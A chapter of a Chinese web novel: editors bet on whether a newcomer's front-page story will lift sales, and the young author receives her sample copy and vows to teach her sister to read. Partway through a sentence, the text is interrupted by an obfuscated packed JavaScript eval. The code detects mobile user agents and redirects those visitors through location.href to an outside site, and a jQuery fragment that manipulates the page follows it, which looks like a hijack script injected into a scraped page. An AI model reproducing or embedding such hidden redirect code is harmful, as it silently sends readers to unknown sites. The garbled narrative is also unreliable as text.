老周拿起红笔在版样上勾了一笔,把吴先生的稿子从头版挪到了第二版,头版的位置空出来,大号字体写下“无名”二字,底下署名“林间月”。 等散会了,几个编辑聚集在一起边干活边议论,老孙坐在工位上,特意压低了声音:“老周,那篇《无名》真值头版?” 老周抬起头看了他一眼:“值不值,你心里没数?” 老孙沉默了一瞬,他看过那篇稿子,上次开会孟社长拍板给甲等的时候,他虽说了句“新人给甲等坏了规矩”,但稿子本身他挑不出毛病。 “质量没话说,但头版不只是看质量,吴先生写了三年,不少读者认他的名字,你换一个新人上去,销量掉了谁负责?” 老周没接话,低下头继续排版。心想,谁负责,都报给领导了,社长拍的板,总不能让他负责吧,这话万万不能说,但他心里确实这么想的。 午饭时,小赵端着盒饭凑过来:“老周,那篇《无名》真那么厉害?” 老周夹了一口菜嚼完了才说:“我打个赌,这期销量比上期涨一成。” 老孙在旁边哼了一声:“一个新人头版涨一成?能保住上期的数就不错了。” 吃饭的时候,规矩没那么大,社长孟鹤亭从楼上下来,拉了把椅子坐下,正好听见了这讨论,看了一眼老周:“老周赌一成?” 刚说的话,没什么不认的,老周点点头。 陈伯言不知什么时候站到了门口:“我赌两成。” 办公室里安静了两秒,孟鹤亭把紫砂壶放在桌子上,手指在壶盖上叩了两下:“输了的请全编辑部去老正兴吃一顿,谁赢了下个月,我让他多报两块钱的烟钱。” 老周把最后一口饭扒完站起来去洗饭盒,回过头说了一句:“那好,我可记下来了,就等着大吃一顿了。” 反正社里平时氛围还挺好,老周也有心思开开玩笑。 老正兴的饭不算贵,请一顿就是略有心疼的程度,不至于伤筋动骨,几人嘻嘻哈哈间就敲定了这件事。 程锦年不知道这些,她每天去吴记杂货铺取信,没让她久等,老板娘从柜台下面翻出一个牛皮纸信封递给她,收了两个铜板。 摸着厚度和大小,程锦年有了猜测,她快步回家,打开一看,信封里是一本样刊。 翻到目录页,第三行印着两个字——“无名”,后面跟着她的笔名“林间月”,标题用了大一号的字,在一排小字里格外显眼。 铅字方方正正笔画清晰,印在纸上像一枚印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590332|205354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章,她的名字不再只是自己写在稿纸角落的那几个字了,它被排进了版面占了一个位置。 她把那本样刊举起来对着光看,目录页上“林间月”三个字在阳光下半透明,墨迹的纹理清晰可见。 她忽然想起了刚逃出海城那天的事,姐姐抱着她哭说“锦年,怎么办”,她说“没事,相信我”。 那时候她其实也不知道怎么办,毕竟只是在校大学生,还没有经历过社会毒打,但是她不能慌,还有个高中生年纪的“姐姐”需要照顾呢。 可现在的“没事”不一样了,那时候的“没事”是硬撑,现在的“没事”是真的没事,因为她知道这支笔能替她开路,两辈子的书没白读,她不是这个时代的人,但在这个时代她找到了自己的位置。 她把样刊贴在胸口,想了很久,这只是一个开始,总有一天,她会用这支笔,来发出自己真正想发出的声音来。 程锦年把那本样刊放在桌上,招呼起程锦云:“云姐,你过来坐。” 程锦云有些不明所以,但还是走过来,看着她手里那条湿漉漉的抹布,程锦年让她先放着,拿张纸帮她擦干手,然后心想,姐姐在全力照顾她的起居啊,要不然这些生活琐事就够她烦恼的了。 程锦年把刊物翻开,翻到印着自己名字的那一页,推到姐姐面前:“这就是我写的,再过几天就能在报摊上买到了。” 程锦云低头看着那一页纸,一个字都不认识,但她看得很认真,像在端详一件瓷器。她伸出手用指腹轻轻按了一下纸面,怕弄脏又缩了回去。 “锦年,你写的这些……有人看吗?” “有,”程锦年把杂志合上,“不只一个人看,有很多人看,这些会送到海城各个报摊上。” 程锦云沉默了一会儿,低下头把抹布叠了叠:“我小时候,村口贴告示,大家围过去,等着识字的人读,我那时候其实很羡慕的,站在人群中间,所有人都在听一个人说话,好风光啊。” 程锦年看着姐姐,姐姐的手搭在膝盖上,指节粗大,指甲剪得齐齐的,这确实不像是一双拿笔的手,但是那又怎么样。 “云姐,我教你认字,以后你不用站在人群外面,你也可以这么风光的成为焦点。” 程锦云抬起头,嘴唇动了动想说什么又咽了回去,她没哭,只是轻轻“嗯”了一声,就像是要把那些灰暗的过去都这么吞咽下去。 那本样刊安安静静地躺在桌上,封面上印着当月的日期,内页里印着她的名字。 程锦年知道用不了多久,这些铅字会变成许许多多份刊物,被运到海城的大小报摊上,被一双双手接过来,被一双双眼睛读到。